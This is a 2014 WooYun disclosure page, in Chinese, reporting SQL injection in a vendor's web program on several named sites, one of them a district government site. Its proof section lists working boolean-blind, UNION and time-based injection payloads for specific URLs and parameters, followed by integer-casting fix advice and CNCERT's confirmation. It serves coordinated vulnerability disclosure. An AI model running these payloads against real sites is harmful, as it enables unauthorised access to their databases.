当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059843

漏洞标题:某厂商程序存在通用型SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: HackBraid

提交时间:2014-05-08 00:00

修复时间:2014-08-06 00:02

公开时间:2014-08-06 00:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-08: 细节已通知厂商并且等待厂商处理中
2014-05-11: 厂商已经确认,细节仅向厂商公开
2014-05-14: 细节向第三方安全合作伙伴开放
2014-07-05: 细节向核心白帽子及相关领域专家公开
2014-07-15: 细节向普通白帽子公开
2014-07-25: 细节向实习白帽子公开
2014-08-06: 细节向公众公开

简要描述:

RT

详细说明:

技术支持:西安恩科网络
注入参数:id,nid,LeadXx
波及站点:
1.http://www.yanta.gov.cn/english/Information.jsp?id=1170&fid=1196&nid=1196
2.http://www.yanta.gov.cn/gpw/hdjl/ldxx.jsp?flag=3&LeadXx=&pageCurrent=1
3.http://www.xachanba.com.cn/front/search/search_detail.jsp?id=5961&nid=737
4.http://www.xachanba.com.cn/front/zxft/zxftviewEv.go?id=6
... ...

漏洞证明:

1.http://www.yanta.gov.cn/english/Information.jsp?id=1170&fid=1196&nid=1196

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1170 AND 5833=5833&fid=1196&nid=1196
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005


2.http://www.yanta.gov.cn/gpw/hdjl/ldxx.jsp?flag=3&LeadXx=&pageCurrent=1

Place: GET
Parameter: LeadXx
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flag=3&LeadXx= AND 4692=4692&pageCurrent=1
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: flag=3&LeadXx=-1217 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(109)+CHAR(117)+CHAR(113)+CHAR(99)+CHAR(86)+CHAR(106)+CHAR(115)+CHAR(68)+CHAR(89)+CHAR(68)+CHAR(98)+CHAR(85)+CHAR(118)+CHAR(113)+CHAR(104)+CHAR(110)+CHAR(108)+CHAR(113),NULL,NULL,NULL,NULL,NULL-- &pageCurrent=1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: flag=3&LeadXx= AND 9335=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&pageCurrent=1
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005


3.http://www.xachanba.com.cn/front/search/search_detail.jsp?id=5961&nid=737

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5961 AND 7367=7367&nid=737
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000


4.http://www.xachanba.com.cn/front/zxft/zxftviewEv.go?id=6

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=6 AND 8554=8554
---
back-end DBMS: Microsoft SQL Server 2000

修复方案:

数字型参数id,nid.LeadXx
修复方案为:在接收参数id,nid,LeadXx时,对其进行强制整型转换即可。
以id参数为例,
int id= Integer.parseInt("id") ;//对id整型转换后再进行下一步的数据库查询更安全

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-11 16:05

厂商回复:

CNVD确认并复现所述情况,转由CNCERT下发陕西分中心协调处置。

最新状态:

暂无